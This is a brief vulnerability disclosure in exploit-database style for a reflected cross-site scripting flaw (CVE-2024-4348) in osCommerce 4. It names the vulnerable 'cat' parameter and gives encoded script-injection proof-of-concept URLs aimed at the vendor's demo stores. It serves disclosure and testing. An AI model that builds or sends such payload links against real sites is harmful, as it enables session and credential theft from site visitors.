osCommerce 4 Cross Site Scripting

`# Exploit Title: osCommerce 4 - Reflected XSS  
# Exploit Author: skalvin  
# Date: 22/04/2024  
# Vendor: osCommerce ltd.  
# Vendor Homepage: https://www.oscommerce.com/  
# Software Link: https://demo.oscommerce.com/  
# Demo Link: https://demo.oscommerce.com/furniture/  
# Tested on: Windows 11 Pro  
# Impact: Manipulate the content of the site  
# CVE: CVE-2024-4348  
# VDB: VDB-262488  
# CWE: CWE-79 / CWE-74 / CWE-707  
# CAPEC: CAPEC-10 / CAPEC-209 / CAPEC-250  
# ATT&CK: T1059.007  
  
  
## Description  
  
Attacker can send to victim a link containing a malicious URL in an email or instant message  
can perform a wide variety of actions, such as stealing the victim's session token or login credentials  
  
  
GET parameter 'cat' is vulnerable to RXSS  
  
Path: /furniture/catalog/all-products  
  
  
https://demo.oscommerce.com/furniture/catalog/all-products?cat=[XSS]  
https://demo.oscommerce.com/watch/catalog/all-products?cat=[XSS]  
  
  
## Live POC:  
  
https://demo.oscommerce.com/furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253eiyehb=1  
  
https://demo.oscommerce.com/watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253eiyehb=1  
  
  
[-] Done  
`